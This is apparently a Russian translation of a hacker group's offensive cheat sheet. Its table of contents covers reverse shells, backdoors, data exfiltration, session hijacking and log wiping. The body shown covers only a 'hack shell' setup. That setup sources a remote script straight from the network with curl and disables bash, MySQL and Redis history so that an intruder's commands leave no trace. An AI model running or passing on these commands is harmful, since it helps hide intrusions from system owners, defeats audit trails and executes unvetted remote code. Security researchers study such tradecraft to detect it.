Любимые советы, трюки и хаки THC (Шпаргалка)
https://thc.org/tips
Собрание наших любимых трюков. Многие из этих трюков — не наши. Мы лишь их коллекционируем.
Мы показываем трюки «как есть» без объяснения, почему они работают. Вам нужно знать Linux, чтобы понять, как и почему они работают.
Есть трюки? Присоединяйтесь к нам https://thc.org/ops
- Bash
- Настройка Hack Shell
- Скрыть свои команды
- Скрыть параметры командной строки
- Скрыть сетевое соединение
- Скрыть процесс от пользователя
- Скрыть процесс от root
- Скрыть скрипты
- Скрыть от cat
- Выполнение параллельно с отдельными лог-файлами
- SSH
- Почти невидимый SSH
- Несколько оболочек через одно SSH/TCP-соединение
- SSH-туннель
- SSH socks5-туннель
- SSH к хосту за NAT
- SSH-пивот через ProxyJump
- SSHD от пользователя
- Сеть
- Обнаружение хостов
- Tcpdump
- Туннели и проброс
- Обратные порты raw TCP
- Обратный проброс HTTPS
- Отскок трафика с iptables
- Ghost IP / IP-спуфинг
- Разное
- Использовать любой инструмент через Socks-прокси
- Узнать свой публичный IP-адрес
- Проверить доступность со всего мира
- Проверить/просканировать открытые порты
- Взлом хэшей паролей
- Брутфорс паролей / ключей
- Загрузка/скачивание/экфильтрация данных
- Кодирование/декодирование файлов
- Передача файлов через cut & paste
- Передача файлов через tmux
- Передача файлов через screen
- Передача файлов через gs-netcat и sftp
- Передача файлов через HTTP
- Скачивание файла без curl
- Передача файлов через rsync
- Передача файлов на публичные дамп-сайты
- Передача файлов через WebDAV
- Передача файлов в Telegram
- Reverse Shell / Dumb Shell
- Reverse Shell'ы
- с gs-netcat (шифрованный)
- с Bash
- с cURL (шифрованный)
- с cURL (открытым текстом)
- с OpenSSL (шифрованный)
- с remote.moe (шифрованный)
- без /dev/tcp
- с Python
- с Perl
- с PHP
- Улучшение dumb shell
- Превратить reverse shell в pty shell
- Превратить reverse shell в полностью интерактивную оболочку
- Reverse shell с socat (полностью интерактивный)
- Бэкдоры
- gs-netcat
- sshx.io
- Самый маленький бэкдор SSHD
- Удалённый доступ ко всей сети
- Самый маленький PHP-бэкдор
- Самый маленький reverse DNS-tunnel бэкдор
- Локальный root-бэкдор
- Самораспаковывающийся имплант
- Разведка хоста
- Хаки оболочки
- Шреддинг файлов (безопасное удаление)
- Восстановить дату файла
- Очистить лог-файл
- Скрыть файлы от пользователя без прав root
- Сделать файл неизменяемым
- Сменить пользователя без sudo/su
- Обфусцировать и зашифровать пейлоад
- Развернуть бэкдор, не касаясь файловой системы
- Крипто
- Быстро сгенерировать случайный пароль
- Переносимые зашифрованные файловые системы Linux
- cryptsetup
- EncFS
- Шифрование файла
- Перехват и угон сессий
- Перехватить SHELL-сессию пользователя
- Перехватить все SHELL-сессии с помощью dtrace
- Перехватить все SHELL-сессии с помощью eBPF
- Перехватить SSH- или SSHD-сессию пользователя с помощью strace
- Перехватить исходящую SSH-сессию пользователя с помощью скрипта-обёртки
- Перехватить исходящую SSH-сессию пользователя с помощью SSH-IT
- Угон / перехват запущенной SSH-сессии
- VPN и оболочки
- Одноразовые root-серверы
- VPN/VPS-провайдеры
- OSINT: сбор разведданных
- Разное
- Инструменты ремесла
- Крутые команды Linux
- Шпаргалка по tmux
- Полезные команды
- Как стать хакером
- Другие сайты
1. Bash / Shell
1.i. Настройка Hack Shell (bash):
Сделайте BASH менее шумным. Отключает ~/.bash_history и многие другие вещи.```sh
source <(curl -SsfL https://thc.org/hs)
Альтернативный URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
А если нет curl/wget, используйте surl и (временно) установленный curl с помощью bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
Afterwards type bin curl to (temporarily) install curl (in memory).
HackShell делает гораздо больше, но самое главное — вот что:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Мы часто используем anew, и это быстрый обходной путь:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Бонусный совет:
Любая команда, начинающаяся с « » (пробела), также [не попадает в историю](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
1.ii. Скройте свою команду / Демонизируйте свою команду